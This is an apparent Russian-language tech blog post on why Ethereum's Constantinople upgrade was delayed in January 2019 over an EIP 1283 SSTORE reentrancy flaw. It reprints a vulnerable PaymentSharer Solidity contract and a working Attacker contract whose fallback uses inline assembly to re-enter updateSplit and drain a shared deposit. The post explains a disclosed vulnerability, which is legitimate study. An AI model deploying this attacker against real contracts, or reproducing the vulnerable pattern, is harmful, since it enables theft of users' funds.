![image](https://habrastorage.org/getpro/habr/post_images/d53/c1f/e6f/d53c1fe6fac80caca00053e4f7139f60.jpg)
*многие называют это событие «hard fork»-ом, но «Виталик» против.
Долгожданный релиз Constantinople должен был состояться 17 января, в 4AM UTC, однако, в очередной раз жестоко обломав несметную армию разработчиков countdown счетчиков этому не суждено будет сбыться.
За 30 часов до официального релиза, из-за найденной уязвимости, руководствуясь принципом «лучше перебдить, чем недобдить», апдейт был отложен на неопределенный срок.
Событием, поднявшим на уши все сообщество, стало опрометчивое предложение EIP 1283, удешевлеяющее выполнение инструкции SSTORE (sic!). Вообще одним из основных направлений апдейта было удешевление и ускорение выполнения особо тяжелых инструкций.
События 15 января развивались следующим образом (время в PST):
- в 8 утра ChainSecurity публикует описание уязвимости;
- тут же, Martin Holst Swende (главный безопасник в Ethereum Foundation) будит всех ключевых разработчиков, напоминая что до апдейта осталось каких-то 37 часов, а у нас тут вот;
- до полудня происходят бурные дебаты в чатах и «голосом»;
- к обеду принято решение отменять апдейт.
Ситуацию усуглубило то, что время разворачивать корабль выбрано крайне неудачно: уже почти половина нод успели обновиться, а всех остальных методично и настойчиво пинали на протяжении последних недель. В итоге теперь обновившимся нодам нужно будет еще раз обновиться (либо вверх либо вниз… мда). А кто не успел и все проспал — те молодцы, им ничего делать не нужно.
Дальше все было предсказуемо — рынок отреагировал рухнувшим на 5% курсом эфира (хаха). Многие, конечно, повозмущались что мол, как это цена инструкции может влиять на секурность, че вы там наговнокодили и все такое… Но на самом деле ничего необычного, все как у всех.
О технических деталях уязвимости лучше почитать в оригинале статьи от ChainSecurity, разобраться там не сложно.
Кому лень нырять в код — суть в том, что до апдейта инструкция SSTORE стоила так дорого, что не было никакой возможности изменить «хранилище» (state) из других контрактов, после апдейта Constantinople инструкция подешевела (бы), и можно менять «хранилище» много раз, тем самым меняя логику уязвимого контракта.
Код уявзимого контракта (с моими комментариями):
pragma solidity ^0.5.0;
contract PaymentSharer {
mapping(uint => uint) splits;
mapping(uint => uint) deposits;
mapping(uint => address payable) first;
mapping(uint => address payable) second;
// здесь мы инициализируем данные парой адресов, которые в последствии будут делить депозит (некую сумму денег)
function init(uint id, address payable _first, address payable _second) public {
require(first[id] == address(0) && second[id] == address(0));
require(first[id] == address(0) && second[id] == address(0));
first[id] = _first;
second[id] = _second;
}
// кладем сумму на депозит, который в последствии будут делить участники
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
// задаем в какой пропорции делить депозит
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
// непосредственно, дележ (в соответсвтии с установленной пропорцией split)
function splitFunds(uint id) public {
// Here would be:
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
// пересылаем долю первому участнику (здесь в атаке вызовется fallback-метод из контракта ниже)
a.transfer(depo * splits[id] / 100);
// остаток - второму участнику (здесь в атаке депозит уйдет на кошель злоумышленника)
b.transfer(depo * (100 - splits[id]) / 100);
}
}
Код атакующего контракта:
pragma solidity ^0.5.0;
import "./PaymentSharer.sol";
contract Attacker {
address private victim;
address payable owner;
constructor() public {
owner = msg.sender;
}
// злоумышленник вызывает эту функцию*, передав ей адрес уязвимого контракта PaymentSharer в сети
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
// fallback метод, вызывается по умолчанию на transfer-е
function () payable external {
address x = victim;
// собственно, сама уязвимость в ассемблерной вставке ниже (не что иное, как вызов updateSplit(0, 0)), т.е. нагло меняем параметр Split второй раз и опять загоняем себе полную сумму депозита
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
* в оригинале упущено, но где-то должна быть инициализация вида:
init(0, «адрес контракта Attacker», «адрес кошеля атакующего»)
перед вызовом метода attack.
Разумеется, есть много вопросов к самому контракту PaymentSharer, на котором нам демонстрируют уязвимость, он сам по себе криво слеплен, и именно в нем проблема,
а не в цене SSTORE, и вообще — в релизной сети не нашли ни одного живого примера, но решили перестраховаться, все ж цена ошибки может быть слишком высока (тут все помянули давно почивший DAO).
Вообще в Ethereum сообществе происходит масса интересных событий: активизировалась борьба серых кардиналов рынка (GPU vs ASIC), что само по себе заслуживает отдельной статьи, предстоящий релиз Bacon Chain набирает обороты, — год обещает быть богатым на события и интриги.